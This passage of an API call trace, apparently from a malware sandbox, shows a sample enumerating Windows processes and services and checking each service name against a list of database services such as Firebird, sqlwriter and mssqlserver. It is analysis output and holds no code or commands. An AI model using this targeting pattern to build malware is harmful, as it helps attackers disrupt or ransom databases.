lpString2="nsi") returned 1 [0261.260] lstrlenW (lpString="PcaSvc") returned 6 [0261.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0261.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0261.261] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0261.261] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0261.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0261.261] lstrlenW (lpString="PlugPlay") returned 8 [0261.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0261.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0261.261] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0261.261] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0261.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0261.261] lstrlenW (lpString="Power") returned 5 [0261.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0261.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0261.262] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0261.262] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0261.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0261.262] lstrlenW (lpString="ProfSvc") returned 7 [0261.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0261.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0261.262] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0261.262] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0261.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0261.262] lstrlenW (lpString="RpcEptMapper") returned 12 [0261.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0261.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0261.262] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0261.262] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0261.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0261.262] lstrlenW (lpString="RpcSs") returned 5 [0261.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0261.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0261.262] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0261.262] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0261.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0261.262] lstrlenW (lpString="SamSs") returned 5 [0261.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0261.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0261.262] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0261.262] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0261.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0261.263] lstrlenW (lpString="Schedule") returned 8 [0261.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0261.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0261.263] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0261.263] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0261.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0261.263] lstrlenW (lpString="SecurityHealthService") returned 21 [0261.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0261.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0261.263] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0261.263] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0261.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0261.263] lstrlenW (lpString="SENS") returned 4 [0261.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0261.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0261.263] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0261.263] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0261.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0261.263] lstrlenW (lpString="ShellHWDetection") returned 16 [0261.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0261.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0261.263] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0261.263] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0261.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0261.263] lstrlenW (lpString="Spooler") returned 7 [0261.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0261.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0261.264] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0261.264] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0261.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0261.264] lstrlenW (lpString="StateRepository") returned 15 [0261.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0261.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0261.264] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0261.264] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0261.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0261.264] lstrlenW (lpString="SysMain") returned 7 [0261.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0261.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0261.264] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0261.264] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0261.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0261.264] lstrlenW (lpString="SystemEventsBroker") returned 18 [0261.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0261.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0261.264] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0261.264] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0261.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0261.264] lstrlenW (lpString="Themes") returned 6 [0261.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0261.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0261.265] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0261.265] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0261.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0261.265] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0261.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0261.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0261.265] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0261.265] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0261.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4075448 | out: hHeap=0x630000) returned 1 [0261.265] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x126c [0261.272] Process32FirstW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.273] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0261.274] lstrlenW (lpString="System") returned 6 [0261.274] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0261.275] lstrlenW (lpString="smss.exe") returned 8 [0261.275] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.275] lstrlenW (lpString="csrss.exe") returned 9 [0261.275] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0261.276] lstrlenW (lpString="wininit.exe") returned 11 [0261.276] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.277] lstrlenW (lpString="csrss.exe") returned 9 [0261.277] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0261.278] lstrlenW (lpString="winlogon.exe") returned 12 [0261.278] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0261.280] lstrlenW (lpString="services.exe") returned 12 [0261.280] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0261.281] lstrlenW (lpString="lsass.exe") returned 9 [0261.281] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0261.296] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0261.296] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0261.297] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0261.297] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.298] lstrlenW (lpString="svchost.exe") returned 11 [0261.298] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.301] lstrlenW (lpString="svchost.exe") returned 11 [0261.301] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0261.302] lstrlenW (lpString="dwm.exe") returned 7 [0261.303] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.304] lstrlenW (lpString="svchost.exe") returned 11 [0261.304] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.305] lstrlenW (lpString="svchost.exe") returned 11 [0261.305] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.306] lstrlenW (lpString="svchost.exe") returned 11 [0261.306] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.307] lstrlenW (lpString="svchost.exe") returned 11 [0261.307] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.308] lstrlenW (lpString="svchost.exe") returned 11 [0261.308] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.310] lstrlenW (lpString="svchost.exe") returned 11 [0261.310] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.311] lstrlenW (lpString="svchost.exe") returned 11 [0261.311] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.312] lstrlenW (lpString="svchost.exe") returned 11 [0261.312] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.326] lstrlenW (lpString="svchost.exe") returned 11 [0261.326] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.327] lstrlenW (lpString="svchost.exe") returned 11 [0261.327] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0261.328] lstrlenW (lpString="spoolsv.exe") returned 11 [0261.328] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.330] lstrlenW (lpString="svchost.exe") returned 11 [0261.330] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0261.331] lstrlenW (lpString="audiodg.exe") returned 11 [0261.331] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0261.332] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0261.332] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0261.333] lstrlenW (lpString="Memory Compression") returned 18 [0261.333] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0261.335] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0261.335] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0261.336] lstrlenW (lpString="sihost.exe") returned 10 [0261.336] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.337] lstrlenW (lpString="svchost.exe") returned 11 [0261.337] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0261.338] lstrlenW (lpString="taskhostw.exe") returned 13 [0261.338] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0261.340] lstrlenW (lpString="msoia.exe") returned 9 [0261.340] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0261.341] lstrlenW (lpString="explorer.exe") returned 12 [0261.341] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0261.342] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0261.342] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0261.344] lstrlenW (lpString="SearchUI.exe") returned 12 [0261.345] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0261.346] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0261.346] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0261.347] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0261.347] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0261.348] lstrlenW (lpString="load0.exe") returned 9 [0261.348] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x272c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3c4, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0261.349] lstrlenW (lpString="consent.exe") returned 11 [0261.350] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x27cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0261.351] lstrlenW (lpString="dllhost.exe") returned 11 [0261.351] Process32NextW (in: hSnapshot=0x126c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x27cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0261.352] CloseHandle (hObject=0x126c) returned 1 [0261.352] Sleep (dwMilliseconds=0x1f4) [0261.903] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64730 [0261.904] EnumServicesStatusExW (in: hSCManager=0x3f64730, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0261.905] GetLastError () returned 0xea [0261.905] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x4075448 [0261.905] EnumServicesStatusExW (in: hSCManager=0x3f64730, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4075448, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4075448, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0261.907] CloseServiceHandle (hSCObject=0x3f64730) returned 1 [0261.907] lstrlenW (lpString="Appinfo") returned 7 [0261.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0261.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0261.907] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0261.907] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0261.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0261.907] lstrlenW (lpString="AppXSvc") returned 7 [0261.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0261.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0261.907] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0261.907] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0261.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0261.908] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0261.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0261.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 